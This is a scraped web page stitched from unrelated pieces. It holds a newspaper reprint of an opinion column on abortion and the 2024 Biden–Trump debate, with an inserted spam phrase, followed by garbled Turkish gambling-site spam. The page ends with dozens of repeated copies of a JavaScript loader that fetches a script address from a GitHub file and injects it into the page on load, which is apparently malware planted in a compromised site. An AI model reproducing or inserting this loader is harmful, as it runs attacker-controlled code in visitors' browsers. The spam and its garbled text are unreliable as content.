Sorry. No Image has been uploaded.

e-Edition Sign up for email newsletters to submit an obituary

Please email legals@ukiahdailyjournal.com or call 707-380-1152. Please include your name, mailing address, and phone number along with the copy and photo.

Sign up for email newsletters e-Edition “I did not have sex with a porn star.”Donald Trump’s statement in response to an arguably ad hominem attack from Joe Biden during their June 27 debate must have given more than a few of us flashbacks to Bill Clinton – specifically, his “It depends on what the meaning of the word ‘is’ is” dance as he tried to linguistically sidestep allegations about Monica Lewinsky.The main differences, though, were that Clinton was the sitting president at the time and that the problem was not the sex, but the abuse of power.Gay porno Trump has always had notorious baggage when it comes to questions of character, going back to New York Post headlines from his decades in New York.In the debate, Trump was right to call out Democratic extremism on abortion. But the questions called out both candidates’ ignorance on the issue.“First of all, the Supreme Court just approved the abortion pill. And I agree with their decision to have done that, and I will not block it,” Trump said. The Court did no such thing. The justices issued a decision on the abortion-pill case based not on the merits or safety of chemical abortion, which is increasingly becoming the default method, but on whether the plaintiffs had standing for the case. It in no way indicated approval of chemical abortion.Trump’s words in support of abortion pills were callous. Prescribing abortion pills is an abandonment of pregnant girls and women.Trump also said that during the half-century life of Roe, “everybody” wanted abortion to return to the states.That’s not true. The California Democratic governor has been advocating for the expansion of abortion in states other than his own because that’s what his party is about. And the pro-lifers who have been on the front lines of providing hope to scared women who feel like abortion is their only option – they wouldn’t be included in Trump’s “everybody.” I daresay the vast majority of them never popped a champagne bottle because states can now choose if they are going to allow abortion or not.

I want the end of abortion in America. I am not content that New York will double down on its status as the abortion capital of the country. I want women to be free from all the coercions and pain of abortion. Women deserve better than abortion. In the debate, it sure sounded – not for the first time – like Trump still doesn’t get the heart of the pro-life movement.And Trump quoted Ronald Reagan. Someone should have assigned him to read Reagan’s “Abortion and the Conscience of the Nation,” his 1983 essay for The Human Life Review. In it, Reagan (then the sitting president) wrote: “Abortion concerns not just the unborn child, it concerns every one of us. … The English poet John Donne wrote: ‘… any man’s death diminishes me, because I am involved in mankind; and therefore never send to know for whom the bell tolls; it tolls for thee.’”Needless to say, there was no Donne in the first 2024 presidential debate.Reagan continued: “Abraham Lincoln recognized that we could not survive as a free land when some men could decide that others were not fit to be free and should therefore be slaves. Likewise, we cannot survive as a free nation when some men decide that others are not fit to live and should be abandoned to abortion or infanticide.”So much for Trump’s states’-rights-fest.There are electoral realities, but there is also truth and justice. “Follow the science,” we were told not long ago. In the case of abortions, sonograms have made reality crystal clear. But politicians of both parties choose their own delusions to justify not having the courage to speak for the voiceless unborn.I’ve not said much about Biden’s performance, perhaps because criticizing him feels like a form of elder abuse. Over the decades of his career, he has taken about every position on abortion there is. On debate night, he said he was not for late-term abortions. That is a lie.And so here we are – needing to take this debate as a reality check. Teaching true history, not ideological readings of it, will help. Virtue education can encourage men and women of character to examine their consciences in their daily routines and amid world-changing events, and all things in between. We can raise children who appreciate civic life and public service as noble work – the service of humanity.Many of us were not surprised at how uninspiring the Biden-Trump debate was. Still, we were sad. What we do with that sadness will show the character of people and institutions alike. Character is not a relic of the past – unless we surrender the best of us.Kathryn Jean Lopez is senior fellow at the National Review Institute, editor-at-large of National Review magazine and author of the new book “A Year With the Mystics: Visionary Wisdom for Daily Living.” She is also chair of Cardinal Dolan’s pro-life commission in New York, and is on the board of the University of Mary. She can be contacted at klopez@nationalreview.com. Donald Trump’s statement in response to an arguably ad hominem attack from Joe Biden during their June 27 debate must have given more than a few of us flashbacks to Bill Clinton – specifically, his “It depends on what the meaning of the word ‘is’ is” dance as he tried to linguistically sidestep allegations about Monica Lewinsky. The main differences, though, were that Clinton was the sitting president at the time and that the problem was not the sex, but the abuse of power. Trump has always had notorious baggage when it comes to questions of character, going back to New York Post headlines from his decades in New York. In the debate, Trump was right to call out Democratic extremism on abortion. But the questions called out both candidates’ ignorance on the issue. “First of all, the Supreme Court just approved the abortion pill. And I agree with their decision to have done that, and I will not block it,” Trump said. The Court did no such thing. The justices issued a decision on the abortion-pill case based not on the merits or safety of chemical abortion, which is increasingly becoming the default method, but on whether the plaintiffs had standing for the case. It in no way indicated approval of chemical abortion. Trump’s words in support of abortion pills were callous. Prescribing abortion pills is an abandonment of pregnant girls and women. Trump also said that during the half-century life of Roe, “everybody” wanted abortion to return to the states. That’s not true. The California Democratic governor has been advocating for the expansion of abortion in states other than his own because that’s what his party is about. And the pro-lifers who have been on the front lines of providing hope to scared women who feel like abortion is their only option – they wouldn’t be included in Trump’s “everybody.” I daresay the vast majority of them never popped a champagne bottle because states can now choose if they are going to allow abortion or not. I want the end of abortion in America. I am not content that New York will double down on its status as the abortion capital of the country. I want women to be free from all the coercions and pain of abortion. Women deserve better than abortion. In the debate, it sure sounded – not for the first time – like Trump still doesn’t get the heart of the pro-life movement. And Trump quoted Ronald Reagan. Someone should have assigned him to read Reagan’s “Abortion and the Conscience of the Nation,” his 1983 essay for The Human Life Review. In it, Reagan (then the sitting president) wrote: “Abortion concerns not just the unborn child, it concerns every one of us. … The English poet John Donne wrote: ‘… any man’s death diminishes me, because I am involved in mankind; and therefore never send to know for whom the bell tolls; it tolls for thee.’” Needless to say, there was no Donne in the first 2024 presidential debate. Reagan continued: “Abraham Lincoln recognized that we could not survive as a free land when some men could decide that others were not fit to be free and should therefore be slaves. Likewise, we cannot survive as a free nation when some men decide that others are not fit to live and should be abandoned to abortion or infanticide.” So much for Trump’s states’-rights-fest. There are electoral realities, but there is also truth and justice. “Follow the science,” we were told not long ago. In the case of abortions, sonograms have made reality crystal clear. But politicians of both parties choose their own delusions to justify not having the courage to speak for the voiceless unborn. I’ve not said much about Biden’s performance, perhaps because criticizing him feels like a form of elder abuse. Over the decades of his career, he has taken about every position on abortion there is. On debate night, he said he was not for late-term abortions. That is a lie. And so here we are – needing to take this debate as a reality check. Teaching true history, not ideological readings of it, will help. Virtue education can encourage men and women of character to examine their consciences in their daily routines and amid world-changing events, and all things in between. We can raise children who appreciate civic life and public service as noble work – the service of humanity. Many of us were not surprised at how uninspiring the Biden-Trump debate was. Still, we were sad. What we do with that sadness will show the character of people and institutions alike. Character is not a relic of the past – unless we surrender the best of us. Kathryn Jean Lopez is senior fellow at the National Review Institute, editor-at-large of National Review magazine and author of the new book “A Year With the Mystics: Visionary Wisdom for Daily Living.” She is also chair of Cardinal Dolan’s pro-life commission in New York, and is on the board of the University of Mary. She can be contacted at klopez@nationalreview.com. Copyright © 2024 MediaNews Group

En İyi Futbol Bahis Siteleri ile Kazanmaya Başlayın XSlot Fırsatlarını Kaçırmayın

Posted on by Libin

Sorry. No Image has been uploaded.

Contents

Заголовок: En İyi Futbol Bahis Siteleri XSlot ile Büyük Kazanma Fırsatını Kaçırmayın

En İyi Futbol Bahis Siteleri ile Kazanmaya Başlayın XSlot Fırsatlarını Kaçırmayın

Heyecan dolu maçlarla dolu bir dünyada, strateji ve bilgi ile ödüller kazanabileceğiniz bir alan sunuyoruz. Spor tutkunları için hazırlanmış bu program, sizi büyüleyici bir deneyimle buluşturuyor. Sahip olduğunuz yetenekleri keşfedin ve kazançlarınızı artırın!

Yeni kullanıcılar için özel avantajlar ve güvenli oyun seçenekleriyle, en üst düzeyde bir oyun deneyimi sizi bekliyor.

En İyi Futbol Bahis Siteleri – XSlot ile Kazanmaya Başlayın

En sevdiğiniz spor dallarında heyecan dolu anlar yaşamak ve tahminlerinizle kazanma şansı elde etmek için aradığınız platformu bulmak, kazanmanın ilk adımıdır. Güvenilir seçenekler, çeşitli oyunlarla keyifli bir deneyim sunarak beklentilerinizi karşılar.

  • Geniş oyun yelpazesi sayesinde favori maçlarınıza yönelik tahminlerinizi yapabilirsiniz.
  • Kullanıcı dostu arayüz, hızlı ve kolay işlem yapmanızı sağlar.
  • Güvenli ödeme yöntemleri ile kazancınızı sorunsuz bir şekilde çekebilirsiniz.

Bu platformlar, sundukları cazip bonuslar ve kampanyalar ile deneyiminizi daha kazançlı hale getirir. Spor tutkunları için özel olarak tasarlanmış olan bu ortamlarda, the woman seviyeden kullanıcı kendine uygun seçenekler bulabilir.

  1. İlk olarak, yüksek oranlar ve geniş spor dalları seçeneği sunan bir site seçin.
  2. Incentive ve promosyonlar ile avantajlı teklifleri değerlendirin.
  3. Güvenlik ve lisans konularında titiz davranarak, sağlam temellere dayanan bir tercih yapın.

Bu adımları takip ederek, spor heyecanınızı kazanca dönüştürebilirsiniz. Seçtiğiniz platformun özelliklerini iyi inceleyin ve the woman anınızı değerlendirin.

En İyi Futbol Bahis Siteleri – XSlot ile Kazanmaya Başlayın

Heyecan ve Adrenalin: Spor karşılaşmalarının sunduğu eşsiz deneyimi daha da büyüleyici hale getirin. Doğru tahminler yaparak, unutulmaz bir eğlencenin kapılarını aralayın. Burası, sizi your ex an sürprizlerle karşılayan bir dünyadır.

Güvenilir Platformlar: Kendi kurallarınızla oynayın, şeffaf ve adil bir ortamda kendinizi güvende hissedin. Detaylara verilen önem, kullanıcıların memnuniyetini ve güvenini kazanmayı amaçlamaktadır. Zamanınızı en iyi şekilde değerlendirin.

Yeni Fırsatlar: Beklentilerinizin ötesinde yenilikler ve fırsatlar keşfedin. Sadece şansınıza güvenmekle kalmayın, aynı zamanda stratejiler geliştirerek daha fazla avantaj sağlayın. Her anınızı değerli kılın.

Kolay Erişim: Nerede olursanız olun, birkaç tıklama ile bu dünyaya adım atabilirsiniz. Kullanıcı dostu arayüz sayesinde the woman şey elinizin altında. Mobil cihazlarınızdan da aynı deneyimi yaşayın.

XSlot Nedir?

Bu program, eğlence dünyasında yenilikçi bir deneyim sunar. Kullanıcıların keyifli vakit geçirmesi için tasarlanmış çeşitli oyunlar ve heyecan dolu içerikler burada bir araya getirilmiştir. Bu ortamda, katılımcılar farklı seçeneklerle zamanlarını renklendirebilirler. Sunulan hizmetler, sürekli olarak güncellenen içerikleri ile herkesin ilgisini çekecek türden eğlenceler sunar.

Burada, katılımcılar farklı oyunlarla zaman geçirirken, aynı zamanda farklı stratejiler geliştirme fırsatına da sahip olurlar. Çeşitli seviyelerdeki oyunlar, herkesin becerisine ve ilgisine uygun alternatifler sunar. Oyunseverler, bu platformda sürekli değişen ve gelişen bir ortamda, kendilerini sınama ve geliştirme imkanına sahip olurlar.

Platformun sunduğu avantajlardan biri de, kullanıcıların deneyimlerini en üst düzeye çıkarmak için çeşitli araçlar ve desteklerle donatılmış olmasıdır. Herkesin kolayca adapte olabileceği bir arayüz, kullanıcı dostu bir ortam sağlar. Eğlencenin ve heyecanın bir arada olduğu bu dünyada, the woman zaman yeni ve farklı bir şeyler keşfetmek mümkündür.

XSlot’un Özellikleri

Bu bölümde, platformumuzun sunduğu farklı avantajları ve kullanıcı dostu yapısını detaylandıracağız. Hedefimiz, ziyaretçilere eğlenceli ve kazançlı bir deneyim sunmaktır. Bu nedenle, sunduğumuz çeşitli özellikler ile hem yeni başlayanlar hem de deneyimli kullanıcılar için perfect bir ortam yaratıyoruz.

Özellik Açıklama
Kullanıcı Dostu Arayüz Basit ve sezgisel tasarım sayesinde, kullanıcılar web site içerisinde kolayca gezinebilir ve istedikleri seçeneklere hızlıca ulaşabilirler.
Güvenli Altyapı Gelişmiş güvenlik protokolleri ile kullanıcı verileri korunur, işlemler güvenli bir ortamda gerçekleştirilir.
Çeşitli Oyun Seçenekleri Farklı zevklere hitap eden geniş oyun yelpazesi ile herkesin kendine uygun bir seçenek bulması sağlanır.
Hızlı ve Sorunsuz İşlemler Anında ve güvenli ödeme yöntemleri sayesinde, kullanıcıların işlemleri hızlı ve sorunsuz bir şekilde tamamlanır.
24/7 Destek Hizmeti The woman türlü soru ve sorunlarınız için günün the lady saati ulaşabileceğiniz profesyonel destek ekibimiz mevcuttur.

Neden XSlot Tercih Edilmeli?

Oyun dünyasında sayısız seçenek bulunurken, doğru tercihi yapmak her zaman kolay değildir. Bu noktada, sunduğu eşsiz deneyimler ve kullanıcı dostu yaklaşımıyla öne çıkan platformumuz, oyunculara güvenli ve keyifli bir ortam sağlar.

Güvenlik: Platformumuz, kullanıcı bilgilerinin ve finansal işlemlerin korunması konusunda en yüksek standartları benimser. Güçlü şifreleme teknolojisi ve sürekli güncellenen güvenlik önlemleri, kullanıcıların gönül rahatlığıyla oyunlarını oynamalarını sağlar.

Çeşitlilik: Zengin içerik seçeneğiyle oyunculara the girl zevke hitap eden bir oyun deneyimi sunar. Farklı kategorilerdeki oyunlar ve benzersiz özellikler, the lady oyuncunun kendine uygun bir seçenek bulmasına olanak tanır.

Kullanıcı Dostu Arayüz: Platformumuz, kullanıcıların kolayca gezinmesini sağlayan sezgisel bir tasarıma sahiptir. Hızlı erişim ve sade bir yapı, oyun keyfini kesintisiz hale getirir.

Müşteri Desteği: Herhangi bir sorun ya da soru karşısında, profesyonel destek ekibi her zaman yanınızdadır. 7/24 hizmet veren bu ekip, kullanıcıların en iyi deneyimi yaşaması için çalışır.

En İyi Futbol Bahis Sitelerinin Avantajları

Farklı platformlar arasında doğru seçimi yapmak, kullanıcılar için büyük bir kazanç olabilir. Özellikle, güvenilirlik, yüksek oranlar ve kullanıcı dostu arayüz gibi özellikler, oyuncuların deneyimini bir üst seviyeye taşıyabilir. Aşağıda, bu tür platformların sunduğu başlıca faydalar detaylandırılmıştır.

Avantaj Açıklama
Güvenlik Kişisel ve finansal bilgilerin korunması için gelişmiş şifreleme teknolojileri kullanılır. Bu, oyuncuların huzur içinde işlem yapmalarını sağlar.
Yüksek Oranlar Kullanıcılar için en cazip fırsatlar sunulur. Bu, daha yüksek kazanç potansiyeli anlamına gelir.
Geniş Seçenekler Farklı oyun türleri ve etkinlikler arasında tercih yapma imkanı sağlar. Bu, the woman zevke uygun bir deneyim sunar.
Kullanıcı Desteği 7/24 müşteri hizmetleri desteği, oyuncuların karşılaşabileceği herhangi bir sorunu hızla çözmelerine yardımcı olur.

Yüksek Oranlar ve Kazançlar

The woman zaman daha fazlasını elde etme arzusunda olanlar için, bu program benzersiz fırsatlar sunuyor. Burada sunduğumuz oranlar, kullanıcıların daha büyük kazançlar elde etmeleri için tasarlanmıştır. The woman hamleniz, en üst düzeydeki getirilerle ödüllendirilir.

Bu bölümde sizlere sunulan avantajları ve fırsatları keşfedeceksiniz:

  • Daha yüksek oranlarla daha fazla kazanç elde etme imkanı.
  • Kazancınızı maksimize etmek için boost edilmiş sistem.
  • Kullanıcı dostu arayüz sayesinde kolay işlem yapabilme.

Güvenilir ve kazanç odaklı platformumuzda, yüksek oranlarla ödüllendirilen fırsatları kaçırmayın!

Çeşitli Bahis Seçenekleri

https://casinomhub/ dünyasında the lady türlü kullanıcıya hitap eden geniş yelpazede seçenekler bulunmaktadır. İster yüksek riskli tercihler yapmak isteyen maceraperest, ister güvenli adımlarla ilerlemeyi tercih eden bir oyuncu olun, burada herkes için bir şeyler bulmak mümkün.

  • Maç sonucu tahminleri: Karşılaşmanın sonucunu tahmin etmeyi sevenler için perfect.
  • Oyun içi tercihler: Maçın devam ettiği sırada yapılan tahminler, heyecanı en üst seviyeye çıkarır.
  • Kombine kuponlar: Birden fazla maç üzerine oynanan tahminlerle kazanma şansı arttırılabilir.
  • Özel etkinlikler: Öne çıkan turnuvalar ve sezonun en önemli karşılaşmaları için özel seçenekler sunuluyor.
  • Geleceğe yönelik tahminler: Sezonun ilerleyen haftalarına dair yapılan tahminlerle farklı bir deneyim yaşanır.

Güvenilir ve Hızlı Ödeme Yöntemleri

Günümüzde, kullanıcılar finansal işlemlerini güven içinde ve hızlı şekilde gerçekleştirebilecekleri çözümler aramaktadır. Teknolojinin gelişimi ile birlikte bu alanda birçok farklı seçenek ortaya çıkmış durumda. Güvenli bir ortamda, hızla sonuç almak isteyenler için bu yöntemlerin önemi giderek artmaktadır.

Özellikle güvenlik, kullanıcıların öncelikli beklentisi haline gelmiştir. Güvenilir platformlar, gelişmiş şifreleme teknikleri kullanarak kişisel ve finansal bilgilerin korunmasını sağlar. Bu sayede, the woman işlemde gönül rahatlığı ile hareket edilebilir.

Hız ise kullanıcı deneyimini doğrudan etkileyen bir diğer önemli faktördür. Anında işlem fırsatı sunan çözümler, kullanıcıların zamandan tasarruf etmelerini sağlarken, beklenmedik gecikmelerin önüne geçer. Bu şekilde, kullanıcılar, işlemlerini diledikleri zaman hızlıca tamamlayabilirler.

Özetle, güvenilir ve hızlı ödeme yöntemleri, kullanıcıların sorunsuz bir deneyim yaşaması için vazgeçilmezdir. Gelişmiş güvenlik önlemleri ve hız odaklı çözümler, the girl işlemde maksimum memnuniyet sunar.

;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});